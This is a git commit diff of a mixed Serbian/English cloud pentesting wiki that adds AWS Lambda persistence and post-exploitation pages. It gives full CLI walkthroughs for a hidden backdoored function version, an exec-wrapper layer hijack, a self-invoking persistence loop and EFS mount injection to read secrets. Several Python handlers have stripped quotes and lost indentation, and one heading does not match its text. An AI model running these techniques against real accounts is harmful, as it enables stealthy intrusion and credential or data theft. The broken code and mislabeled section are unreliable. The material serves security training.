Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

2026-02-05 03:16:37 -08:00 · 2025-10-06 23:07:28 +00:00
parent 55b9d2e323
commit ff90d9feed
13 changed files with 901 additions and 86 deletions
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -4,7 +4,7 @@

 ## Lambda

-Za više informacija proverite:
+Za više informacija pogledajte:

 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
@@ -12,7 +12,7 @@ Za više informacija proverite:

 ### Lambda Layer Persistence

-Moguće je **uvesti/otvoriti backdoor u layer za izvršavanje proizvoljnog koda** kada se lambda izvršava na diskretan način:
+Moguće je **introduce/backdoor sloj koji izvršava proizvoljni kod** kada se Lambda izvrši na prikriven način:

 {{#ref}}
 aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md

 ### Lambda Extension Persistence

-Zloupotrebom Lambda Layers takođe je moguće zloupotrebiti ekstenzije i persistirati u lambdi, ali i ukrasti i izmeniti zahteve.
+Zloupotrebom Lambda Layers moguće je i zloupotrebiti extensions i persist u Lambda, ali i ukrasti i izmeniti zahteve.

 {{#ref}}
 aws-abusing-lambda-extensions.md
@@ -28,37 +28,64 @@ aws-abusing-lambda-extensions.md

 ### Via resource policies

-Moguće je dodeliti pristup različitim lambda akcijama (kao što su pozivanje ili ažuriranje koda) spoljnim računima:
+Moguće je dodeliti pristup različitim Lambda akcijama (kao što su invoke ili update code) eksternim nalozima:

 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>

 ### Versions, Aliases & Weights

-Lambda može imati **različite verzije** (sa različitim kodom za svaku verziju).\
-Zatim, možete kreirati **različite alias-e sa različitim verzijama** lambde i postaviti različite težine za svaku.\
-Na ovaj način napadač bi mogao da kreira **backdoored verziju 1** i **verziju 2 sa samo legitimnim kodom** i **izvršava samo verziju 1 u 1%** zahteva kako bi ostao diskretan.
+Lambda može imati **different versions** (svaka verzija sa različitim kodom).\
+Zatim, možete kreirati **different aliases sa različitim versions** funkcije i dodeliti različite weights svakom.\
+Na ovaj način napadač može kreirati **backdoored version 1** i **version 2 sa samo legitimnim kodom** i **izvršavati version 1 samo u 1% zahteva** da ostane neprimećen.

 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>

 ### Version Backdoor + API Gateway

-1. Kopirajte originalni kod Lambde
-2. **Kreirajte novu verziju sa backdoor-om** originalnog koda (ili samo sa zlonamernim kodom). Objavite i **implementirajte tu verziju** na $LATEST
-1. Pozovite API gateway povezan sa lambdom da izvrši kod
-3. **Kreirajte novu verziju sa originalnim kodom**, objavite i implementirajte tu **verziju** na $LATEST.
-1. Ovo će sakriti backdoored kod u prethodnoj verziji
-4. Idite na API Gateway i **kreirajte novu POST metodu** (ili izaberite bilo koju drugu metodu) koja će izvršiti backdoored verziju lambde: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
-1. Imajte na umu konačno :1 u arn **koji označava verziju funkcije** (verzija 1 će biti backdoored u ovom scenariju).
-5. Izaberite kreiranu POST metodu i u Akcijama izaberite **`Deploy API`**
-6. Sada, kada **pozovete funkciju putem POST-a, vaš Backdoor** će biti aktiviran
+1. Copy the original code of the Lambda
+2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST
+1. Call the API gateway related to the lambda to execute the code
+3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST.
+1. This will hide the backdoored code in a previous version
+4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
+1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario).
+5. Select the POST method created and in Actions select **`Deploy API`**
+6. Now, when you **call the function via POST your Backdoor** will be invoked

 ### Cron/Event actuator

-Činjenica da možete **pokrenuti lambda funkcije kada se nešto dogodi ili kada prođe određeno vreme** čini lambdu lepim i uobičajenim načinom za postizanje persistencije i izbegavanje otkrivanja.\
-Evo nekoliko ideja kako da učinite svoju **prisutnost u AWS-u diskretnijom kreiranjem lambdi**.
+Činjenica da možete naterati Lambda funkcije da se pokrenu kada se nešto desi ili nakon proteka vremena čini Lambda čestim načinom za dobijanje persistence i izbegavanje detekcije.\
+Evo nekoliko ideja kako da vaše prisustvo u AWS bude više stealth kreiranjem Lambda funkcija.

- Svaki put kada se kreira novi korisnik, lambda generiše novi korisnički ključ i šalje ga napadaču.
- Svaki put kada se kreira nova uloga, lambda dodeljuje dozvole za preuzimanje uloge kompromitovanim korisnicima.
+- Svaki put kada se kreira novi user, Lambda generiše novi user key i šalje ga napadaču.
+- Svaki put kada se kreira novi role, Lambda daje assume role permissions kompromitovanim korisnicima.
 - Svaki put kada se generišu novi cloudtrail logovi, obrišite/izmenite ih

+### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
+
+Iskoristite environment variable `AWS_LAMBDA_EXEC_WRAPPER` da izvršite wrapper skriptu pod kontrolom napadača pre nego što runtime/handler startuje. Isporučite wrapper putem Lambda Layer na `/opt/bin/htwrap`, postavite `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, a zatim pozovite funkciju. Wrapper se pokreće unutar runtime procesa funkcije, nasleđuje function execution role i na kraju `exec`-uje pravi runtime tako da originalni handler i dalje normalno izvršava.
+
+{{#ref}}
+aws-lambda-exec-wrapper-persistence.md
+{{#endref}}
+
+### AWS - Lambda Function URL Public Exposure
+
+Iskoristite Lambda asynchronous destinations zajedno sa Recursion konfiguracijom da funkcija stalno re-invokuje samu sebe bez eksternog schedulera (bez EventBridge, cron, itd.). Po defaultu, Lambda prekida recursive loop-ove, ali podešavanjem recursion config na Allow ponovo ih omogućavate. Destinations isporučuju na strani servisa za async invokes, tako da jedan seed invoke kreira stealthy, code-free heartbeat/backdoor kanal. Opcionalno koristite reserved concurrency da ograničite noise.
+
+{{#ref}}
+aws-lambda-async-self-loop-persistence.md
+{{#endref}}
+
+### AWS - Lambda Alias-Scoped Resource Policy Backdoor
+
+Kreirajte skriveni Lambda version sa logikom napadača i scope-ujte resource-based policy na tu specifičnu verziju (ili alias) koristeći `--qualifier` parametar u `lambda add-permission`. Dodelite samo `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` napadačkom principal-u. Normalne invokacije putem imena funkcije ili primarnog alias-a ostaju nepromenjene, dok napadač može direktno invoke-ovati backdoored version ARN.
+
+Ovo je stealthier od izlaganja Function URL-a i ne menja primarni traffic alias.
+
+{{#ref}}
+aws-lambda-alias-version-policy-backdoor.md
+{{#endref}}
+
+
 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md
@@ -0,0 +1,88 @@
+# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sažetak
+
+Kreirajte skrivenu Lambda verziju sa attacker logikom i primenite resource-based policy na tu konkretnu verziju (ili alias) korišćenjem parametra `--qualifier` u `lambda add-permission`. Dodelite samo `lambda:InvokeFunction` na `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` attacker principalu. Normalna pozivanja preko imena funkcije ili primarnog alias-a ostaju nepromenjena, dok attacker može direktno pozvati backdoored verziju koristeći njen ARN.
+
+Ovo je diskretnije od izlaganja Function URL i ne menja primarni alias za saobraćaj.
+
+## Potrebne dozvole (attacker)
+
+- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration`
+- `lambda:AddPermission` (to add version-scoped resource policy)
+- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (to simulate an attacker principal)
+
+## Koraci napada (CLI)
+
+<details>
+<summary>Objavite skrivenu verziju, dodajte dozvolu ograničenu na qualifier, pozovite kao attacker</summary>
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=<target-lambda-name>
+
+# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version
+# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version <clean-version> --region "$REGION"
+
+# 1) Build a small backdoor handler and publish as a new version
+cat > bdoor.py <<PY
+import json, os, boto3
+
+def lambda_handler(e, c):
+ident = boto3.client(sts).get_caller_identity()
+return {"ht": True, "who": ident, "env": {"fn": os.getenv(AWS_LAMBDA_FUNCTION_NAME)}}
+PY
+zip bdoor.zip bdoor.py
+aws lambda update-function-code --function-name "$TARGET_FN" --zip-file fileb://bdoor.zip --region $REGION
+aws lambda update-function-configuration --function-name "$TARGET_FN" --handler bdoor.lambda_handler --region $REGION
+until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --region $REGION --query LastUpdateStatus --output text)" = "Successful" ]; do sleep 2; done
+VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
+VER_ARN=$(aws lambda get-function --function-name "$TARGET_FN:$VER" --region $REGION --query Configuration.FunctionArn --output text)
+echo "Published version: $VER ($VER_ARN)"
+
+# 2) Create an attacker principal and allow only version invocation (same-account simulation)
+ATTACK_ROLE_NAME=ht-version-invoker
+aws iam create-role --role-name $ATTACK_ROLE_NAME --assume-role-policy-document Version:2012-10-17 >/dev/null
+cat > /tmp/invoke-policy.json <<POL
+{
+"Version": "2012-10-17",
+"Statement": [{
+"Effect": "Allow",
+"Action": ["lambda:InvokeFunction"],
+"Resource": ["$VER_ARN"]
+}]
+}
+POL
+aws iam put-role-policy --role-name $ATTACK_ROLE_NAME --policy-name ht-invoke-version --policy-document file:///tmp/invoke-policy.json
+
+# Add resource-based policy scoped to the version (Qualifier)
+aws lambda add-permission \
+--function-name "$TARGET_FN" \
+--qualifier "$VER" \
+--statement-id ht-version-backdoor \
+--action lambda:InvokeFunction \
+--principal arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME \
+--region $REGION
+
+# 3) Assume the attacker role and invoke only the qualified version
+ATTACK_ROLE_ARN=arn:aws:iam::$(aws sts get-caller-identity --query Account --output text):role/$ATTACK_ROLE_NAME
+CREDS=$(aws sts assume-role --role-arn "$ATTACK_ROLE_ARN" --role-session-name htInvoke --query Credentials --output json)
+export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r .AccessKeyId)
+export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r .SecretAccessKey)
+export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r .SessionToken)
+aws lambda invoke --function-name "$VER_ARN" /tmp/ver-out.json --region $REGION >/dev/null
+cat /tmp/ver-out.json
+
+# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role
+aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true
+```
+</details>
+
+## Impact
+
+- Obezbeđuje neprimetan backdoor za pozivanje skrivene verzije funkcije bez menjanja primarnog alias-a ili izlaganja Function URL-a.
+- Ograničava izloženost samo na navedenu verziju/alias preko resource-based policy `Qualifier`, smanjujući površinu detekcije dok zadržava pouzdano pozivanje za principal napadača.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md
@@ -0,0 +1,92 @@
+# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
+
+Iskoristite Lambda asynchronous Destinations zajedno sa Recursion konfiguracijom da funkcija stalno ponovo poziva samu sebe bez eksternog scheduler-a (bez EventBridge, cron, itd.). Po defaultu, Lambda prekida rekurzivne petlje, ali postavljanjem recursion config na Allow ponovo ih omogućavate. Destinations isporučuju na strani servisa za async invokes, pa jedan seed invoke kreira prikriveni, bez-koda heartbeat/backdoor kanal. Opcionalno ograničite brzinu pomoću reserved concurrency da smanjite buku.
+
+Notes
+- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
+- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
+
+## Requirements
+- Region: us-east-1
+- Vars:
+- REGION=us-east-1
+- TARGET_FN=<target-lambda-name>
+
+## Steps
+
+1) Dobavite ARN funkcije i trenutnu Recursion postavku
+```
+FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
+aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
+```
+2) Objavite verziju i kreirajte/azurirajte alias (koristi se kao odredište koje upućuje na samu funkciju)
+```
+VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
+if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
+aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+else
+aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION
+fi
+ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
+```
+3) Dozvolite ulozi za izvršavanje funkcije da pozove alias (zahtevano za Lambda Destinations→Lambda)
+```
+# Set this to the execution role name used by the target function
+ROLE_NAME=<lambda-execution-role-name>
+cat > /tmp/invoke-self-policy.json <<EOF
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "lambda:InvokeFunction",
+"Resource": "${ALIAS_ARN}"
+}
+]
+}
+EOF
+aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
+```
+4) Konfigurišite async destination na alias (self preko alias) i onemogućite retries
+```
+aws lambda put-function-event-invoke-config \
+--function-name "$TARGET_FN" \
+--destination-config OnSuccess={Destination=$ALIAS_ARN} \
+--maximum-retry-attempts 0 \
+--region $REGION
+
+# Verify
+aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
+```
+5) Dozvoli rekurzivne petlje
+```
+aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
+aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
+```
+6) Pokrenite jedno asynchronous invoke
+```
+aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed.json --region $REGION >/dev/null
+```
+7) Posmatrajte kontinuirane invokacije (primeri)
+```
+# Recent logs (if the function logs each run)
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
+# or check CloudWatch Metrics for Invocations increasing
+```
+8) Opcionalno stealth throttle
+```
+aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
+```
+## Čišćenje
+Prekinite petlju i uklonite persistence.
+```
+aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
+aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
+aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true
+# Optional: delete alias and remove the inline policy when finished
+aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true
+ROLE_NAME=<lambda-execution-role-name>
+aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
+```
+## Uticaj
+- Jedan async invoke uzrokuje da Lambda kontinuirano re-invokuje samu sebe bez eksternog scheduler-a, omogućavajući stealthy persistence/heartbeat. Reserved concurrency može ograničiti šum na jednu warm execution.
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md
@@ -0,0 +1,94 @@
+# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Summary
+
+Iskoristite promenljivu okruženja `AWS_LAMBDA_EXEC_WRAPPER` da izvršite wrapper skriptu pod kontrolom napadača pre nego što runtime/handler počne. Dostavite wrapper putem Lambda Layer-a na `/opt/bin/htwrap`, postavite `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, i zatim pozovite funkciju. Wrapper se izvršava unutar procesa runtime-a funkcije, nasleđuje function execution role, i na kraju `exec`-uje stvarni runtime tako da originalni handler i dalje normalno radi.
+
+> [!WARNING]
+> Ova tehnika omogućava izvršavanje koda na ciljanoj Lambda bez menjanja njenog izvornog koda ili role i bez potrebe za `iam:PassRole`. Potrebna vam je samo mogućnost da ažurirate konfiguraciju funkcije i da objavite/prikačite layer.
+
+## Required Permissions (attacker)
+
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:GetFunctionConfiguration`
+- `lambda:InvokeFunction` (ili pokretanje pomoću postojećeg eventa)
+- `lambda:ListFunctions`, `lambda:ListLayers`
+- `lambda:PublishLayerVersion` (u istom nalogu) i po potrebi `lambda:AddLayerVersionPermission` ako koristite cross-account/public layer
+
+## Wrapper Script
+
+Postavite wrapper na `/opt/bin/htwrap` u layer-u. Može izvršavati logiku pre-handler-a i mora se završiti sa `exec "$@"` da bi se povezao na pravi runtime.
+```bash
+#!/bin/bash
+set -euo pipefail
+# Pre-handler actions (runs in runtime process context)
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json, os
+try:
+ident = boto3.client('sts').get_caller_identity()
+print('[ht] sts identity:', json.dumps(ident))
+except Exception as e:
+print('[ht] sts error:', e)
+PY
+# Chain to the real runtime
+exec "$@"
+```
+## Koraci napada (CLI)
+
+<details>
+<summary>Objavite layer, prikačite ga na ciljnu funkciju, postavite wrapper, pozovite</summary>
+```bash
+# Vars
+REGION=us-east-1
+TARGET_FN=<target-lambda-name>
+
+# 1) Package wrapper at /opt/bin/htwrap
+mkdir -p layer/bin
+cat > layer/bin/htwrap <<'WRAP'
+#!/bin/bash
+set -euo pipefail
+echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION"
+python3 - <<'PY'
+import boto3, json
+print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity()))
+PY
+exec "$@"
+WRAP
+chmod +x layer/bin/htwrap
+(zip -qr htwrap-layer.zip layer)
+
+# 2) Publish the layer
+LAYER_ARN=$(aws lambda publish-layer-version \
+--layer-name ht-exec-wrapper \
+--zip-file fileb://htwrap-layer.zip \
+--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \
+--query LayerVersionArn --output text --region "$REGION")
+
+echo "$LAYER_ARN"
+
+# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER
+aws lambda update-function-configuration \
+--function-name "$TARGET_FN" \
+--layers "$LAYER_ARN" \
+--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \
+--region "$REGION"
+
+# Wait for update to finish
+until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done
+
+# 4) Invoke and verify via CloudWatch Logs
+aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null
+aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text
+```
+</details>
+
+## Uticaj
+
+- Izvršavanje Pre-handler code u Lambda runtime kontekstu koristeći postojeći execution role funkcije.
+- Nema potrebe za izmenama function code ili role; radi na uobičajenim managed runtimes (Python, Node.js, Java, .NET).
+- Omogućava persistence, credential access (npr. STS), data exfiltration i runtime tampering pre nego što handler bude pokrenut.
+
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
@@ -1,35 +1,85 @@
-# AWS - Lambda Post Exploitation
+# AWS - Lambda Post-eksploatacija

 {{#include ../../../../banners/hacktricks-training.md}}

 ## Lambda

-Za više informacija proverite:
+For more information check:

 {{#ref}}
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}

-### Ekstraktovanje Lambda kredencijala
+### Eksfiltracija Lambda credentials

-Lambda koristi promenljive okruženja za injektovanje kredencijala u vreme izvođenja. Ako možete da dobijete pristup njima (čitanjem `/proc/self/environ` ili korišćenjem same ranjive funkcije), možete ih koristiti. One se nalaze u podrazumevanju imenima promenljivih `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, i `AWS_ACCESS_KEY_ID`.
+Lambda koristi environment variables za ubacivanje credentials u runtime. Ako možeš da im pristupiš (čitanjem `/proc/self/environ` ili korišćenjem same vulnerable function), možeš ih iskoristiti. Nalaze se u default imenima varijabli `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, and `AWS_ACCESS_KEY_ID`.

-Podrazumevano, ove će imati pristup za pisanje u cloudwatch log grupu (čije ime se čuva u `AWS_LAMBDA_LOG_GROUP_NAME`), kao i za kreiranje proizvoljnih log grupa, međutim lambda funkcije često imaju više dozvola dodeljenih na osnovu njihove namene.
+Po defaultu, ove varijable imaju pristup za pisanje u cloudwatch log group (ime koje je sačuvano u `AWS_LAMBDA_LOG_GROUP_NAME`), kao i mogućnost kreiranja proizvoljnih log grupa, mada lambda funkcije često imaju dodatne permisije dodeljene prema njihovoj nameni.

-### Ukrasti HTTP zahteve drugih korisnika Lambda
+### Krađa tuđih Lambda URL zahteva

-Ako napadač nekako uspe da dobije RCE unutar Lambda, moći će da ukrade HTTP zahteve drugih korisnika ka lambdi. Ako zahtevi sadrže osetljive informacije (kolačiće, kredencijale...), moći će da ih ukrade.
+Ako napadač nekako dobije RCE unutar Lambda, moći će da ukrade HTTP zahteve drugih korisnika ka toj lambdi. Ako zahtevi sadrže osetljive informacije (cookies, credentials...) moći će da ih ukrade.

 {{#ref}}
 aws-warm-lambda-persistence.md
 {{#endref}}

-### Ukrasti HTTP zahteve drugih korisnika Lambda i zahteve ekstenzija
+### Krađa tuđih Lambda URL zahteva i zahteva ka extensions

-Zloupotrebom Lambda Layers takođe je moguće zloupotrebiti ekstenzije i persistirati u lambdi, ali i ukrasti i modifikovati zahteve.
+Abuziranjem Lambda Layers moguće je zloupotrebiti extensions, zadržati persistenciju u lambdi, ali i krasti i menjati zahteve.

 {{#ref}}
 ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
 {{#endref}}

+### AWS Lambda – VPC Egress Bypass
+
+Primoraj Lambda funkciju da izađe iz ograničenog VPC ažuriranjem njene konfiguracije sa praznim VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcija će tada raditi u Lambda-managed networking plane, ponovo dobijajući outbound internet pristup i zaobilazeći egress kontrole koje nameću privatni VPC subneti bez NAT.
+
+{{#ref}}
+aws-lambda-vpc-egress-bypass.md
+{{#endref}}
+
+### AWS Lambda – Runtime Pinning/Rollback Abuse
+
+Zloupotrebi `lambda:PutRuntimeManagementConfig` da zacementiraš funkciju na specifičnu verziju runtime-a (Manual) ili da zamrzneš update-ove (FunctionUpdate). Ovo čuva kompatibilnost sa malicioznim layers/wrappers i može držati funkciju na zastarelom, ranjivom runtime-u kako bi se olakšala eksploatacija i dugotrajna persistencija.
+
+{{#ref}}
+aws-lambda-runtime-pinning-abuse.md
+{{#endref}}
+
+### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection
+
+Zloupotrebi `lambda:UpdateFunctionConfiguration` napredne logging kontrole da preusmeriš logove funkcije u CloudWatch Logs log group po izboru napadača. Ovo radi bez menjanja koda ili execution role (većina Lambda role već uključuje `logs:CreateLogGroup/CreateLogStream/PutLogEvents` preko `AWSLambdaBasicExecutionRole`). Ako funkcija ispisuje tajne/tela zahteva ili se ruši sa stack trace-ovima, možeš ih prikupiti iz nove log grupe.
+
+{{#ref}}
+aws-lambda-loggingconfig-redirection.md
+{{#endref}}
+
+### AWS - Lambda Function URL javno izlaganje
+
+Pretvori privatni Lambda Function URL u javni neautentifikovani endpoint promenom Function URL AuthType na NONE i dodavanjem resource-based policy koja daje lambda:InvokeFunctionUrl svima. Ovo omogućava anonimno pozivanje internих funkcija i može izložiti osetljive backend operacije.
+
+{{#ref}}
+aws-lambda-function-url-public-exposure.md
+{{#endref}}
+
+### AWS Lambda – Event Source Mapping Target Hijack
+
+Zloupotrebi `UpdateEventSourceMapping` da promeniš ciljni Lambda function postojećeg Event Source Mapping (ESM) tako da se zapisi iz DynamoDB Streams, Kinesis, ili SQS isporučuju napadačem kontrolisanoj funkciji. Ovo tiho preusmerava žive podatke bez diranja proizvođača podataka ili originalnog koda funkcije.
+
+{{#ref}}
+aws-lambda-event-source-mapping-target-hijack.md
+{{#endref}}
+
+### AWS Lambda – EFS Mount Injection data exfiltration
+
+Zloupotrebi `lambda:UpdateFunctionConfiguration` da prikačiš postojeći EFS Access Point na Lambda, zatim deploy-uj trivijalni kod koji listа/čita fajlove iz mountovane putanje kako bi eksfiltrirao deljene tajne/konfig koji funkcija ranije nije mogla da pristupi.
+
+{{#ref}}
+aws-lambda-efs-mount-injection.md
+{{#endref}}
+
+
+
 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md
@@ -0,0 +1,74 @@
+# AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Krađa podataka)
+
+Abuse `lambda:UpdateFunctionConfiguration` da prikačite postojeći EFS Access Point na Lambda, zatim deploy-ujete trivijalni kod koji nabraja/čita fajlove sa mountovane putanje da biste eksfiltrirali deljene tajne/konfiguracije kojima funkcija ranije nije imala pristup.
+
+## Requirements
+- Permissions on the victim account/principal:
+- `lambda:GetFunctionConfiguration`
+- `lambda:ListFunctions` (to find functions)
+- `lambda:UpdateFunctionConfiguration`
+- `lambda:UpdateFunctionCode`
+- `lambda:InvokeFunction`
+- `efs:DescribeMountTargets` (to confirm mount targets exist)
+- Environment assumptions:
+- Target Lambda is VPC-enabled and its subnets/SGs can reach the EFS mount target SG over TCP/2049 (e.g. role has AWSLambdaVPCAccessExecutionRole and VPC routing allows it).
+- The EFS Access Point is in the same VPC and has mount targets in the AZs of the Lambda subnets.
+
+## Attack
+- Varijable
+```
+REGION=us-east-1
+TARGET_FN=<target-lambda-name>
+EFS_AP_ARN=<efs-access-point-arn>
+```
+1) Povežite EFS Access Point sa Lambda
+```
+aws lambda update-function-configuration \
+--function-name $TARGET_FN \
+--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
+--region $REGION
+# wait until LastUpdateStatus == Successful
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+```
+2) Prepišite code jednostavnim readerom koji nabraja fajlove i pregleda prvih 200 bajtova potencijalnog secret/config fajla
+```
+cat > reader.py <<PY
+import os, json
+BASE=/mnt/ht
+
+def lambda_handler(e, c):
+out={ls:[],peek:None}
+try:
+for root, dirs, files in os.walk(BASE):
+for f in files:
+p=os.path.join(root,f)
+out[ls].append(p)
+cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
+if cand:
+with open(cand,rb) as fh:
+out[peek] = fh.read(200).decode(utf-8,ignore)
+except Exception as ex:
+out[err]=str(ex)
+return out
+PY
+zip reader.zip reader.py
+aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
+# If the original handler was different, set it to reader.lambda_handler
+aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
+until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
+```
+3) Pozovite i preuzmite podatke
+```
+aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
+cat /tmp/efs-out.json
+```
+Izlaz treba da sadrži listing direktorijuma pod /mnt/ht i kratak pregled odabranog secret/config fajla iz EFS.
+
+## Impact
+Napadač sa navedenim dozvolama može da montira proizvoljne in-VPC EFS Access Points u ciljne Lambda funkcije kako bi pročitao i exfiltrirao deljenu konfiguraciju i secrets pohranjene na EFS koje su prethodno bile nedostupne toj funkciji.
+
+## Cleanup
+```
+aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true
+```
+
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md
@@ -0,0 +1,75 @@
